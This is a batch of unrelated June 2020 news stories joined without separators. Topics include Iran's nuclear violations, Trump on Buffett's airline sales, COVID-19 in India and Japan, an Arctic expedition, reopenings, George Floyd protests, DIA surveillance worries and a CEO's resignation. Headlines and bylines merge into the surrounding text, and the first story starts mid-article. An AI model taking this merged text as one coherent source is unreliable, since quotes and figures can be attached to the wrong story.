Before agreeing to the nuclear deal, Iran enriched its uranium up to 20% purity, which is just a short technical step away from the weapons-grade level of 90%. In 2013, Irans stockpile of enriched uranium was already more than 7,000 kilograms (7.72 tons) with higher enrichment, but it didnt pursue a bomb.

As the country has expanded its nuclear program, Iran has been open about the violations and continues to allow inspectors for the U.N. atomic agency access to iacilities to monitor their operations.

It remains in violation of all the main restrictions outlined by the JCPOA, which Tehran says it hopes will pressure the other nations involved to increase economic incentives to make up for hard-hitting sanctions imposed by Washington after the U.S. withdrawal.

Though Iran has been hard hit by the new coronavirus pandemic, the IAEA said it has maintained its verification and monitoring activities in the country, primarily by chartering aircraft to fly inspectors to and from Iran.

It cited exceptional cooperation from authorities in Austria, where it is based, and Iran in facilitating the operation.

The agency raised concerns, however, about access to two of three locations it identified in March as places where Iran possibly stored and/or used undeclared nuclear material or undertook nuclear-related activities without declaring them to international observers.

Activities at all three sites are thought to have been from the early 2000s. The IAEA said in its current report that it had determined that one site had undergone extensive sanitization and leveling in 2003 and 2004 and there would be no verification value in inspecting it.

It said Iran has, for more than four months, blocked access to the other two locations, one of which was partially demolished in 2004 and the other at which the agency observed activities consistent with efforts to sanitize the facility from July 2019 onward.

The watchdog agency added that Iran has also not engaged in any substantive discussions with the IAEA to answer its question about possible undeclared nuclear material and activities for almost a year.

_____

Rising reported from Berlin
Donald Trump says Warren Buffett makes a mistake selling airline stocks FILE PHOTO: Berkshire Hathaway Chairman Warren Buffett walks through the exhibit hall as shareholders gather to hear from the billionaire investor at Berkshire Hathaway Inc's annual shareholder meeting in Omaha

By Jonathan Stempel

(Reuters) - U.S. President Donald Trump on Friday said Warren Buffett, often regarded as the world's greatest investor, made a mistake by recently exiting a multi-billion dollar investment in the airline industry.

Trump made his assessment at the White House, shortly after the U.S. Labor Department reported an unexpected surge in May jobs, and five weeks after Buffett said his Berkshire Hathaway Inc <BRKa.N> sold its airline stakes.

"Warren Buffett sold airlines a little while ago," Trump said. "He's been right his whole life, but sometimes even somebody like Warren Buffett -- I have a lot of respect for him -- they make mistakes. They should have kept the airline stocks because the airline stocks went through the roof today."

Buffett did not immediately respond to a request for comment through his assistant.

At Berkshire's May 2 annual meeting, Buffett said his Omaha, Nebraska-based conglomerate had in April sold its roughly $6 billion of stock in American Airlines Group Inc <AAL.O>, Delta Air Lines Inc <DAL.N>, Southwest Airlines Co <LUV.N> and United AIrlines Holdings Inc <UAL.O>.

Buffett said the coronavirus pandemic had changed the industry "in a very major way," through no fault of the carriers, leaving the future of flying "much less clear."

Many airline stocks have outpaced the broader market this week, as carriers took steps to restore some flights they had canceled because of the pandemic.

American, Delta, Southwest and United rose after the Labor Department said U.S. nonfarm payrolls grew by 2.51 million in May, and the jobless rate fell to 13.3% from April's 14.7%.

Economists on average expected a loss of 8 million jobs, and a 19.8% unemployment rate.

Berkshire's stock is lagging the Standard & Poor's 500 <.SPX> for a second straight year.

Investors have faulted Buffett for not spending more of Berkshire's cash, which ended March at $137.3 billion.

(Reporting by Jonathan Stempel in New York; Editing by Cynthia Osterman)
NEW YORK, NY / ACCESSWIRE / June 5, 2020 / Tuxis Corporation (OTC PINK:TUXS) (the "Company") today announced that, due to concerns regarding COVID-19, it will hold its 2020 annual meeting of stockholders (the "Meeting") virtually, through an audio webcast.

Stockholders may attend the Meeting by completing a pre-registration with Securities Transfer Corporation ("STC"), the Company's transfer agent, no later than 10:00am ET on June 18, 2020. To pre-register, you must contact STC at jstackhouse@stctransfer.com. Only stockholders of record at the close of business on March 26, 2020 are permitted to register and attend the Meeting. If you do not pre-register, you will not be able to attend the Meeting.

Once pre-registered, you may attend the meeting at https://stctransfer.zoom.us/s/93226311447. During the Meeting, you will participate in an audio webcast. The meeting will start at 11:00 A.M., ET on June 18, 2020. We encourage you to access the Meeting website at least 15 minutes prior to the start time. We will follow established meeting rules and procedures.

As always, we encourage you to vote your shares prior to the Meeting. You may vote your shares by following the instructions on your proxy card.

A copy of this press release may be found on the Company's website at www.tuxis.com.

About Tuxis Corporation

Tuxis Corporation is a holding company that engages through subsidiaries primarily in real estate development and management. To learn more about Tuxis Corporation, including Rule 15c2-11 information, please visit www.tuxis.com.

Cautionary Note Regarding Forward Looking Statements

Certain information presented in this press release may contain "forward-looking statements" within the meaning of the federal securities laws, including the Private Securities Litigation Reform Act of 1995. Forward looking statements include statements concerning the Company's plans, including its plans as to the use of the proceeds from the sale, objectives, goals, strategies, future events, future revenues or performance, capital expenditures, financing needs, plans or intentions relating to acquisitions, and other information that is not historical information. In some cases, forward looking statements can be identified by terminology such as "believes," "expects," "estimates," "may," "will," "should," "anticipates" or "intends," or the negative of such terms or other comparable terminology, or by discussions of strategy. All forward-looking statements by the Company involve known and unknown risks, uncertainties and other factors, many of which are beyond the control of the Company, which may cause the Company's actual results to be materially different from those expressed or implied by such statements, including the negative impacts from the continued spread of COVID-19 on the economy, the real estate industry, the broader financial markets, the Company's financial condition, and results of operations and cash flows. The Company may also make additional forward looking statements from time to time. All such subsequent forward-looking statements, whether written or oral, by the Company or on its behalf, are also expressly qualified by these cautionary statements. All forward-looking statements, including without limitation, the Company's examination of historical operating trends and estimates of future earnings, are based upon the Company's current expectations and various assumptions. The Company's expectations, beliefs and projections are expressed in good faith, but there can be no assurance that the Company's expectations, beliefs and projections will result or be achieved. All forward looking statements apply only as of the date made. The Company undertakes no obligation to publicly update or revise forward looking statements which may be made to reflect events or circumstances after the date made or to reflect the occurrence of unanticipated events.

Contact: Donald Klimoski II

Vice President, General Counsel, Secretary, and

Chief Compliance Officer

1-212-785-0900, ext. 280

dklimoski@tuxis.com

www.tuxis.com

SOURCE: Tuxis Corporation

View source version on accesswire.com:https://www.accesswire.com/592934/Tuxis-Corporation-Announces-Virtual-Meeting-for-its-2020-Annual-Meeting-of-Stockholders
Maharashtra, the state worst-affected by the coronavirus pandemic, has more cases of disease than the national average.

According to Indian Council of Medical Research (ICMR) data, quoted by Hindustan Times Hindi language publication Hindustan, the countrys average of new Covid-19 cases is 6.67 per 100. But in Maharashtra, this number is 16.

ICMR said that 1,39,485 Covid-19 tests were conducted in the last 24 hours (between Wednesday and Thursday) in the country. The total numnber of samples tested in the country is 42,42,718.

Apart from Maharashtra, Delhi, Tamil Nadu, Haryana, Gujarat, Tripura and Bihar also have a higher caseload than the national average.

The situation has, however, improved in Rajasthan, Andhra Pradesh, Punjab and Madhya Pradesh.

If the rate of the spread of the Covid-19 infection continues, India will soon leave Italy behind. Hindustan has quoted figures from Worldometre, Italy has 2,33,836 cases of Covid-19 whereas the number has reached 2,17,965 in India.

India is recording around 9,000 cases daily. At this rate, it will take India two days to cross Italys infection tally. However, the rate of fatality in India is much better than Italy. At nearly the same number of infection, the European country has seen five times more deaths that India.

The nationwide tally of confirmed Covid-19 cases reached 2.17 lakh on Thursday with a with a record spike of 9,304 new cases in the last 24 hours (between Wednesday and Thursday) and several states reporting their highest one-day surge.

The death toll has increased to 6,075 with 260 more fatalities in this period.

India is now the seventh worst hit nation after the US, Brazil, Russia, the UK, Spain and Italy. In terms of fatalities, India is ranked 12th at present, while it is placed at eighth place in terms of recoveries. However, India figures among the top-five countries in terms of active cases, as also for the number of tests conducted so far.
KYODO NEWS - Jun 5, 2020 - 22:15 | All, Japan, Coronavirus

As Japan is considering ways to safely ease travel restrictions over the new coronavirus, travelers to and from the country will be required to undergo testing for COVID-19 and submit a trip itinerary, government sources said Friday.

Japan is already in talks with Thailand, Vietnam, Australia and New Zealand to mutually reopen borders, with businesspeople and professionals such as medical staff expected to be fast-tracked.

Under the plan, travelers leaving Japan will first have to get a negative result in a polymerase chain reaction or PCR test, which they will then submit to the embassy of the country they plan to visit.

During the first two weeks of their trip, travelers will also be required to stay at a hotel and there will be restrictions on their movements except for commuting to work and a ban on using public transport.

The two weeks will likely be counted from when a negative virus test result is confirmed, the sources said, though alternatively it may be from the date of arrival.

Japan currently has an entry ban in place for 111 countries and regions and is urging its citizens to avoid all nonessential trips abroad. Both inbound and outbound traffic fell more than 99 percent in April from a year earlier, dealing a heavy blow to the world's third-largest economy.

Thailand, Vietnam, Australia and New Zealand are prime candidates to ease travel restrictions because they all have the coronavirus under control and have deep economic ties with Japan.

In a phone call on Friday, Japanese Foreign Minister Toshimitsu Motegi and Australian counterpart Marise Payne agreed to proceed with discussions on resuming travel by the "necessary personnel," according to the Japanese Foreign Ministry.

One of the sources said the travel restrictions would be lifted in stages, with businesspeople to be given priority, students and agricultural workers coming next, and tourists last.
In Chicago, police accountability is bargained away by the mayors office at the behest of the Fraternal Order of Police. The new president of the police union, John Catanzara, was the subject of 50 misconduct complaints, according to the Citizens Police Data Project, 10 of them sustained, and is believed to be the first FOP president to serve while stripped of his police powers. Illinois law empowers this person to horse trade with the mayor over proper police discipline.
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Linkedin Yannick Pasquet (Agence France-Presse) Berlin  Fri, June 5, 2020 11:02 595 fc6853813033f564188675f8bdc5625a 2 Science & Tech Antarctica,expedition,coronavirus,COVID-19,research,Polarstern Free

The multinational team on the biggest Arctic research mission ever undertaken were prepared for problems from polar bear attacks to major snowstorms or even issues with building a runway on ice.

But never did they imagine that a pandemic might sweep across the world, posing a threat to their mission.

"We have many many different scenarios, alternative plans in store," Markus Rex, who leads the MOSAIC mission, told AFP by phone on his way to Spitsbergen, the main island on the archipelago of Svalbard.

"But to have a global pandemic of this scale, that was something we did not expect... We had to develop new plans very quickly."

With borders slamming shut as governments sought to limit transmission of the coronavirus, the team out on the mission was all but cut off.

A team had been due to be flown in April to relieve the scientists on the ice, but the plan had to be rethought.

After two months of delay, a new crew is finally en route to Spitsbergen on two vessels, which will then meet up with the icebreaker Polarstern to allow the newcomers to disembark and the current team to come onboard.

Among the group heading out to the field is mission chief Rex himself, a climatologist and physicist.

Keeping the virus out

The 390-day expedition began in September, with the icebreaker belonging to Germany's Alfred Wegener polar and marine institute departing to great fanfare from Norway.

The mission aims to study the atmosphere, ocean, sea ice, ecosystem and natural processes -- looking to build a picture of how climate change is affecting the region and the entire world.

Some 600 experts are involved in the biggest research project on the Arctic.

At the end of February, the icebreaker's drift took it to just 156 kilometres from the North Pole -- never before had a ship ventured so far north during the Arctic winter.

Experts from about a dozen countries were meant to fly to the Polarstern from Svalbard in April. But the closure of borders had grounded available planes.

After several hurdles, the team decided to bring the scientists as well as supplies by research ships to Spitsbergen.

The Polarstern will interrupt its research for several weeks to pick up the new crew.

But figuring out the logistics of the complicated personnel transfer was one thing, "our second difficulty: ensure that the virus does not get into the expedition," said Rex.

So crew members were put on a strict 14-day quarantine in Bremerhaven before they set off on the two research vessels.

Two hotels were exclusively booked out for that purpose.

"The doors were not open, there was no contact to anyone else during the quarantine and so we were sure that the virus would not be introduced into the group during the quarantine too. Food was placed before the door," said Rex.

To entertain themselves, the confined scientists sang the Beatles' "Yellow Submarine" from their windows, according to the Sueddeutsche Zeitung.

"Everyone was tested three times," said Rex, relieved that the mission on which he has spent 11 years of his life can continue.

Staying in touch

On board the Polarstern, which has already endured 150 days of polar nights and temperatures as low as -39.5 degrees Celsius, scientists have seen the pandemic roll out from a distance.

"Many of them have families and tried to stay in as close contact as possible with them by satellite telephone," said Torsten Kanzow, who is currently on the ice-breaker.

Thankfully, the team have had no problems with their food supplies -- which are sufficient to last a few months.

If all goes well with the personnel transfer, Rex noted that at the end, there should not be too much impact on their research, beyond a short interruption on collection of some measurements while the Polarstern is on the way to meet up with the two research ships.

"There are automatic measuring devices at the research camp that are sending new data to us daily, that we're eagerly looking at every day.

"In an expedition that lasts 13 months, it's still fine to bear with an interruption of some measurements," said Rex.

The expedition will draw to an end on Oct. 12.
CLEVELAND, Ohio -- The curtain will rise again at movie theaters starting June 10 after Gov. Mike DeWine gave the go-ahead Thursday for them to reopen.

Atlas Cinemas, which has locations in Euclid, Mayfield Heights, Shaker Square, Elyria and Mentor, said it will open its theaters on that first day Wednesday.

We will have some new releases, some features that had recently had come out at closure, lots of kid and family pictures like Trolls World Tour, Onward, Jumanji: The Next Level, and some retro oldies like the The Lord of the Rings, Harry Potter and Jurassic World series, and also some alternative content such as Capone (with Tom Hardy), said Atlas Cinemas Vice President Gabriel Saluan.

The company, the largest independent theater chain in the region, hopes to entice moviegoers to return with $5 admission throughout June and free popcorn during reopening week.

Atlas might have a corner on the market from the jump as no other theater has announced it will open next week.

Cleveland Cinemas, the owner of the Cedar Lee, Capitol Theatre, Tower City Cinemas and Chagrin Cinemas, said its still finalizing plans so it can meet and exceed safety guidelines put forth by the state.

As soon as we have our official reopening date we will let you all know, Cleveland Cinemas Director of Marketing Dave Huffman said in a statement. We cant wait to see you and we know you are excited to get back to the movies!

The Cleveland Cinematheque hasnt announced when it will reopen either, only to say it wont be on June 10.

Cinemark, which operates cineplexes in Valley View and Strongsville, Macedonia, Cuyahoga Falls and Aurora, said the earliest it would open is June 19.

Silverspot Cinema at Pinecrest is planning to reopen in early July for such highly anticipated summer films as Unhinged with Russell Crowe on July 1, Christopher Nolans Tenet on July 17 and Disneys live-action remake of Mulan on July 24.

Regal Cinemas, with theaters at Crocker Park, Great Northern, Richmond Town Square and in Middleburg Heights, Akron, Hudson, Willoughby, said in a statement last month it anticipates to open all locations in July in time for the release of Tenet.

AMC Theatres, the chain behind the Westwood Town Center 6, Ridge Park Square 8 and Solon Classic 16, hasnt announced reopening plans yet, though the company expressed substantial doubt about its future in a SEC filing this week.

Movie theaters have been closed since March 16.

When they come back, moviegoers will find the same safety measures theyve already become accustomed to in stores, restaurants and at drive-in movie theaters. Employees must undergo health screenings before reporting to work and wear masks and gloves. Theaters are required to undergo more frequent and thorough cleanings, make hand sanitizer readily available to customers and implement measures to enforce social distancing.

So, expect movie houses to reduce capacity by staggering showtimes and blocking off seats, leaving at least two seats between parties just as many theaters were already doing prior to the shutdown. Theater chains are also likely to lean more on cashless systems and mobile ordering for tickets and concessions to reduce contact between employees and customers.

But besides the three July releases mentioned, dont expect to see many of the big-name blockbusters like Black Widow, A Quiet Place Part II, Top Gun: Maverick or Ghostbusters: Afterlife on the silver screen anytime soon, as each of those films have been pushed back to at least the fall. Wonder Woman 1984, however, remains on track for an August 14 premiere.

If youre still wary about watching a movie indoors, drive-in theaters have been open since May 12.
Residents in the resort town of Atlantic City may see their municipal taxes lowered if a proposed tax decrease is passed.

Standing in the courtyard just outside of the city hall building, Atlantic City Mayor Marty Small Sr. announced Thursday a 9.6 cent tax decrease in the municipal tax, a 5.35% decrease from 2019. The 2019 city tax rate per $100 assessment was $1.799. The 2020 rate is 1.703, meaning a home assessed at $100,000 would pay $1,702.72 in municipal taxes, which does not include school or county taxes. It equates to about a $96 cut.

Being that the city is currently under state control and financial decisions have to be approved by the state, Small Sr. said that Lt. Governor Sheila Oliver had approved the tax decrease and that he expects City Council to pass the reduced rate.

"When the residents get their tax bills, they will know that the city of Atlantic City is not the deciding factor," Small Sr. said. "This is what we did and what we can control. That sends a message that my administration means business."

Small Sr. added that the city's ratable base shrunk slightly but remained at $2.5 billion. The city says it still has a considerable amount of debt in the amount of $566 million. Small Sr. said that the city is working on plans to cut into the deficit, with steps being taken to reduce a decent portion of the amount in 2023.

"We did not get this debt overnight, and it is not going away overnight," the mayor said. "Many of you know the city's long, bad history of tax appeals. We are moving in the right direction and, if we did nothing and the sky does not fall, Atlantic City will be out of debt in the year 2043."

Current city financial plans and models forecast municipal tax decreases for the next three years.

City Council President George Tibbett said that each council member received a copy of the budget Thursday with the tax decrease and expects a vote to take place during next Wednesdays meeting.

This is what happens when you have a mayor and his administration, the state and the council that works hard together, Tibbett said. This is great news for the city of Atlantic City, a 9.6 cent tax decrease. Its something that the citizens, the taxpayers, the homeowners, and small businesses really deserve during these times.

Thank you for relying on us to provide the journalism you can trust. Please consider supporting NJ.com with a voluntary subscription. Tell us your coronavirus story or send a tip here.

Chris Franklin may be reached at cfranklin@njadvancemedia.com.
The light of hundreds of candles illuminated the silent faces of people mourning the killing of George Floyd.

They stood in silence in Hermann Square for 8 minutes and 46 seconds, the amount of time Floyd was reportedly on the ground while he was being arrested. For the last 2 minutes and 53 seconds, the crowd knelt.

Thats how long the officer stayed on him after the breath was out of his body, said Teaira Johnson, the grassroots organizer of the vigil.

None of that was justified, said Johnson.

An estimated 200 plus people gathered Thursday night at a candlelight vigil to George Floyd in front of Houston City Hall. Floyd, a black man who was killed by Minneapolis, Minn. police officers, grew up in Houstons Third Ward. His killing has sparked days of protests and vigils calling for systemic change in policing policies.

I wasnt even expecting this, said Johnson. She said she and her friends spread the word about it on social media.

Justin James Jones, organizer of Houston-based group People of Peace, spoke to the police on a megaphone, calling for direct changes in policy. He read the names of the black people killed by Houston Police Officers in recent years.

This is how we show them that we are unified, he told the crowd. This is power, people. Our voice will shout at their windows. They will know that we are tired.

The gathering was peaceful, yet tense.

You cant even give off a moment of silence? one man in the crowd yelled at a few Houston Police Department Officers monitoring the vigil. Show some respect.

Leaders in the group asked if there were any black officers who would like to speak to the crowd about their thoughts on Floyds killing and police brutality.

Houston Police Executive Assistant Chief Troy Finner, a native of Houstons Fifth Ward, volunteered to address the group.

Im a human being, he said. Any human being thats not hurting because of (Floyds killing), thats a problem. Everything that (law enforcement has) accomplished, its gone right now. And we understand.

Another protest against police brutality is scheduled be held at Discovery Green at 3 p.m. Friday.The march is being organized as a call for justice for Breonna Taylor, a black woman killed by Louisville police on March 13.

hannah.dellinger@chron
San Francisco officials released a set of guidelines Friday meant to help make social interactions as safe as possible as the city prepares to begin gradually reopening its economy and permitting activities that have been off-limits for months during the COVID-19 pandemic.

The citys stay-home order is still in effect, but officials have recognized the near-inevitability that people will want to begin seeing family, friends and others outside their households again, especially with a broader set of activities  like indoor retail and outdoor restaurant dining  starting June 15.

Staying home continues to be the best way to slow the spread of COVID-19, San Francisco Health Director Dr. Grant Colfax said in a statement. We recognize that as the stay home order continues, following it can be hard on San Franciscans mental health. Our hope is that these guidelines can help all of us make smart decisions about balancing the risks and benefits of limited interactions with people outside our households.

Despite the citys success in keeping the number of new infections relatively low, arranging dinner parties or playdates still carries a degree of risk. City health officials urge people to first consider whether they or anyone theyre seeing are particularly vulnerable to getting seriously ill if they contract COVID-19, namely people over the age of 60 or living with chronic health conditions like diabetes or lung disease.

After that, social interactions can be made safer if theyre conducted outdoors, with face coverings and with everyone maintaining 6 feet of distance from one another.

People should also avoid sharing any objects, like eating utensils or toys. And overall, the number of households intermingling at any one time should be kept to a minimum. Anyone not feeling well  particularly with COVID-19 symptoms, like a fever or cough  should stay home.

Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts.

Connecting with friends and family is one of the ways we will get through this health crisis together, but we have to be smart and vigilant, Mayor London Breed said.

San Franciscans have made enormous sacrifices in order to slow the spread of COVID-19, and as we gradually and safely reopen the city, we must follow all of the guidance from our health experts to keep the progress going.

Dominic Fracassa is a San Francisco Chronicle staff writer. Email: dfracassa@sfchronicle.com Twitter: @dominicfracassa
While COVID-19 is playing havoc among retail landlords, industrial and logistics owners are benefiting from the surge in e-commerce and demand for warehouses, prompting strong deal-making in the sector.

The Aldi distribution centre at Minchinbury in Sydney's outer west. Credit:

Fund manager Charter Hall has leapfrogged at least nine other contenders to buy four large Aldi distribution centres for $648 million in a joint venture deal with Allianz Real Estate.

The four facilities in Sydney, Melbourne and Brisbane were designed and built by Aldi to service its 500-strong chain of discount supermarkets. It offloaded them in a sale and leaseback deal with seven-year leases in place, plus multiple seven-year options.

The assets will be jointly owned by the $6 billion Charter Hall Prime Industrial Fund and several Allianz companies.
The Trump administration's heavy-handed military response to widespread protests have reportedly concerned Pentagon employees with the Defense Intelligence Agency, who fear they may be called upon to conduct surveillance on demonstrators.

An unclassified virtual town hall meeting hosted by DIA Director Lt. Gen. Robert Ashley saw agency staffers question if they would be ordered to support domestic intelligence efforts to investigate protesters, according to two sources who spoke with Yahoo News.

One source, who was reportedly briefed on the virtual town hall, said one DIA employee submitted a question about a potential 'task force' to oversee 'unrest.'

'We have been told that DIA is setting up a task force on "unrest" in our country. Is this true? Is it legal given intelligence oversight? What options will there be for employees who are morally opposed to such an effort?' the employee asked.

Yahoo News reports that DIA Director Lt. Gen. Robert Ashley (pictured) hosted a virtual town hall with DIA staffers who questioned the agency's role in domestic affairs

The 'unrest' comes amid protests over the death of George Floyd, a 46-year-old African-American man who died in police custody last week.

This has sparked protests across the United States with demonstrators fighting against police brutality and systematic racism in several cities, including Washington D.C.

President Trump subsequently deployed several law enforcement agents, military personnel and the National Guard to quell protests.

The extensive use of military groups has raised concerns over government overreach.

Director Ashley reportedly responded that 'our core mission is foreign intelligence.'

The source said Director Ashley used the 2016 presidential election, which spurred investigations into foreign election interference, as an example of such.

Protests across the United States have sparked over the death of George Floyd, an African-American man who died while in police custody

Pictured: A demonstrator stares at a National Guard soldier as protests continue over the death of George Floyd on Wednesday near the White House

DIA staffers were reportedly concerned that the agency, which focuses on foreign military intelligence, would be called upon to conduct surveillance on domestic protesters

'Consider the election space  we dont have a domestic position but have a dedicated effort to see what is happening globally,' he said. according to Yahoo News.

'There is a DOD aspect, but we are focused on the foreign nexus.'

Director Ashley then told staffers that the Office of the General Counsel reviewed the issue to make certain the DIA was following the law.

'If you ever find yourself in a position that makes you uncomfortable, I am your top cover,' he said.

However, DIA employees were reportedly not satisfied with Director Ashley's response and were made uneasy because the answer did not reveal if the DIA would soon support domestic intelligence or if a task force would be rallied.

'Its very scary,' the first source told Yahoo News.

It's unclear who may have considered DIA agents for domestic intelligence effort, or beneath which authority, as there has been no evidence that people involved in protest have ties to foreign groups.

There is also no evidence that criminal actions that have taken place at protests have any links to foreign powers.

But the second source told Yahoo News that employees could be asked to assist with 'mission requirements' for law enforcement.

'Almost the entire workforce is against it, because it is not their mission,' said the second source.

DIA spokesman James M. Kudla said the federal agency has not yet engaged in domestic affairs.

'The mission of the Defense Intelligence Agency is to provide intelligence on foreign militaries to prevent and win wars. Any claims that DIA has taken on a domestic mission are false,' he said in a statement.

'DIA has not established any task force related to the current domestic situation.'

Pictured: US Marshals are restraining a protester near the White House on June 1 amid protests over the death of George Floyd

Over the last several days, the Trump administration has deployed a bevy of military units and personnel to quell protests

Pictured: George Floyd, 46, who died last Monday after a white officer knelt on his neck for eight minutes

Kudla, however, did confirm that the DIA has assembled 'an internal coordination group to respond to increased and appropriate Department requests for information.'

The internal coordination group could further exacerbate tensions within the Pentagon over the DIA's role in overseeing protests.

Doug Wise, who served as DIA deputy director between 2014 and 2017, said the agency's involvement in these domestic protests would be a misstep.

'A mission such as the one alleged for DIA would be highly inappropriate even if DOD lawyers developed a carefully worded position that such an effort was legal,' he told Yahoo News.

Even if the DIA could legally approve such work, 'it would squarely fall into the category of what you can do may be different than what you ought to do.'

'I am sure [DIA Director] Bob Ashley wants to keep his Agency focused on the foreign threat and not on civil unrest here in America.'

The Pentagon's handling of George Floyd protest and civil unrest came to a head on Monday after President Trump, accompanied by Defense Secretary Mark Esper and Chairman of the Joint Chiefs of Staff Mark Milley, made a short walk to St. Johns Episcopal Church.

Attorney General William Barr gave the 'OK' to clear peaceful protesters from Lafayette Park, which is on front of the historic church, ahead of the city's 7pm curfew without warning.

Demonstrators were tear gassed, hit with 'pepper balls' and other non-lethal projectiles so Trump could pose in front of the St. John's with a Bible for a photo-op.

President Trump (center) was criticized after peaceful protesters were aggressively cleared away from the White House so he could take a photo at a nearby church

President Trump (center) and several of his staffers, including e Defense Secretary Mark Esper (far left) and AG William Barr (left), outside of St. Johns Episcopal Church

Critics have condemned the move as tone deaf and considered it another mistake in Trump's handling of the demonstrations.

Esper and Milley have denied knowing the details of visiting the church beforehand amid calls for their resignations.

Barr was tapped by Trump to lead the response to protests and has since flooded Washington D.C. with an array of federal law enforcement.

He was criticized by House Speaker Nancy Pelosi and Democrats after authorities with no identification were pictured among crowds of protesters.

Several political figures have criticized Trump, with the latest dismissal coming from the President's former Secretary of Defense Jim 'Mad Dog' Mattis on Wednesday.

'Donald Trump is the first president in my lifetime who does not try to unite the American people - does not even pretend to try,' Mattis wrote in a letter.

'We must reject any thinking of our cities as a "battlespace" that our uniformed military is called upon to "dominate."

It's unclear what specific role the DIA would have in tracking domestic demonstrators, as the Pentagon has had an extensive role in counterterrorism efforts overseas.

Trump has referred to protesters as 'terrorists', even going so far as to declare Antifa, a vague left-wing movement, short for anti-fascist, as a terrorist organization.

Attorney General William Barr (pictured) has been tapped by Trump to lead the White House's response to George Floyd protests

Pictured: People, who gathered in protest of the death of George Floyd, talk to members of the DC National Guard as they peacefully protest near the White House in Washington, DC

'These are terrorists and theyre looking to do bad things to our country,' Trump said to state governors during a conference call on Monday.

There is no legal authority to authorize such an action for a non-foreign group, but counterterrorism experts told Yahoo News that the federal government's handling of protests have been largely focused on monitoring potential offenders and tracking down their networks.

Nick Rasmussen, a former director of the National Counterterrorism Center who is now a senior director at the McCain Institute, said: 'There is currently no federal statute that contains provisions for designation of domestic groups as terrorist organizations, so the president saying it simply doesnt make it so.'

'But I suspect right now there is not a shortage of FBI time and attention devoted to looking at individuals who fall within antifa profile...especially if they can be investigated and charged for their violent protest activity.'

Trump's move to single out Antifa, which could 'squelch legitimate speech by labeling it as a terrorism related speech', has raised legal and ethical questions, but do not fall under the DIA's mission.

'DIA would be nowhere near that,' said Rasmussen.

Additionally, an internal situation report obtained by the Nation magazine showed there is 'no intelligence indicating Antifa involvement/presence' relating to violence that occurred during Sunday's protests.

Still, Barr said Thursday that there was a 'witches' brew' of individuals and organizations, some foreign, that are responsible for inciting violence at protests.

'We are also seeing foreign actors playing all sides,' said Barr.

The DIA, a foreign intelligence agency, is responsible for collecting military intelligence information, but can have limited operations in the United States.

However, the DIA has no history of tracking domestic political protests or surveilling them.

'As a Defense Department combat-support agency that works with other parts of DoD and the intelligence community, our capabilities are focused squarely on foreign threats to the nation,' said DIA spokesperson Kudla.

For the DIA to be turned on Americans, personnel would need to be detailed to another agency or supporting a lead agency, like the FBI.

'Intelligence agencies are prohibited from spying against American citizens,' Andrew Bakaj, a founding partner at Compass Rose Legal Group, told Yahoo News.

Bakaj, a former CIA officer who represented the anonymous impeachment whistleblower, said there are some cases 'when law enforcement needs an assist or support from intelligence agencies, such as a task force.'

Pictured: National Guard vehicles are used to block 16th Street near Lafayette Park and the White House as Demonstrators participate in a peaceful protest against police brutality

'That being said, the administration looking to have DIA  military intelligence  conduct intelligence operations against American citizens engaging in protests is, optically, a huge problem.

'...turning the military intelligence against American citizens is an affront to the Constitution' he added.

When employees, like DIA staffers, 'question the legality of government-sanctioned actions, thats a call for effective oversight alongside those activities,' according to Irvin McCullough, national security analyst for the whistleblower nonprofit Government Accountability Project.

'If whistleblowers come forward with concerns of illegality or abuses of authority, they should be welcomed with open arms and shielded from retaliation.'

Former associate counsel to President George W. Bush Jamil N. Jaffer shared similar sentiments over concerns of employing military intelligence agencies in domestic surveillance.

Pictured: Members of the National Guard load a bus before leaving an area near the White Hosue where demonstrators gather to protest the death of George Floyd on Wednesday

'The role of our intelligence agencies when it comes to looking at foreign intelligence threats domestically is carefully circumscribed and operates under specific laws and regulations including the Foreign Intelligence Surveillance Act, and for good reasons, going back [to] the abuses of the 1960s and 1970s relating to domestic protests, among other things,' said Jaffer, who also served as a senior counsel on the Republican staff of the House Intelligence Committee.'

'It is somewhat ironic that the very President whose tweets have resulted [in] Americans being less safe against terrorist and other foreign intelligence threats because the post-9/11 surveillance authorities have expired on his watch, now may be seeking to conduct the very type of surveillance he has previously railed against,' he added.

Former intelligence agents were reportedly surprised that DIA staffers might be faced with supporting domestic surveillance efforts.

The DIA 'is an organization chartered for foreign intelligence. Not spying on our neighbors,' one source told Yahoo News.


The CEO of a Canadian loan lender company has resigned following a letter sent to staff saying they should not support political groups like Black Lives Matter and that they are contrary to the companys culture to live and let live.

Pay2day CEO Wesley Barker sent a letter to his employees on June 2 addressing the recent protests heard around the world in response to the death of 46-year-old George Floyd, a black man who died on May 25, after being handcuffed face down and restrained by Minneapolis police.

In the letter, Barker calls for unity and the acceptance of all human beings, he goes on to paraphrase Martin Luther King, stating that his company views people based on the content of their character and not by the colour of their skin. He later writes that employees should not support political groups or organizations like Black Lives Matter.

Friday morning, the Star received an email from Pay2day, stating that Barker has resigned.

We sincerely and unreservedly apologize for any hurt or feelings of betrayal that our employees, customers and members of the Black community may have experienced as a result of Mr. Barkers remarks in his letter to employees, wrote Nelson Belchior, president and co-founder of Pay2day. His comments are not representative of what Pay2Day and our team are and stand for.

Belchior also said that the several company employees that have had nothing to do with Barkers comments have received threatening phone calls, and that innocent employees do not deserve to feel unsafe.

Pay2day employee Alexis Morgan said she was stunned after reading the email.

According to Morgan, who is on leave, the letter was problematic to her as a Black woman working for the company as she felt she had to choose between her work or her political beliefs.

This email was extremely unprofessional and insensitive especially during a time where Black folks are collectively enduring an immense amount of pain due to the recent killing of an unarmed Black Man, Morgan told the Star. Black Lives Matter is a movement dedicated to systemic racism and police brutality towards Black men and women.

On the company websites home page, an image of a Black woman is on full display with a caption that reads We have a deep accountability to our Black community, and we demand equality.

PAY2DAY stands for the inclusion and fair treatment of all; treat each other well. End injustice and intolerance, the image reads.

To Morgan, this allyship was performative and the same grace was not shown in the then CEOs private letter to his employees.

To me, this was a tactic to make us feel that we are included to essentially get us to utilize his business. It is exploitation, Morgan said.

Human rights lawyer Waheeda Ekhlas Smith said the letter could be understood as discriminatory in nature because it made specific references that this was the companys point of view, rather than only Barkers himself.

While we have the right to freedom of expression, its not without consequences, Smith said. If its creating, or is perceived to be creating, an unwelcome environment for persons of colour and those who support BLM, while it may not be a criminal act, it would certainly be seen as in violation of human rights legislation.

One of BLMs commitments, upon many, is creating a world free of anti-Blackness, where every Black person has the social, economic, and political power to thrive, according to their website.

Smith said that Barker implied, through his letter, that the BLM mandate is unwelcome.

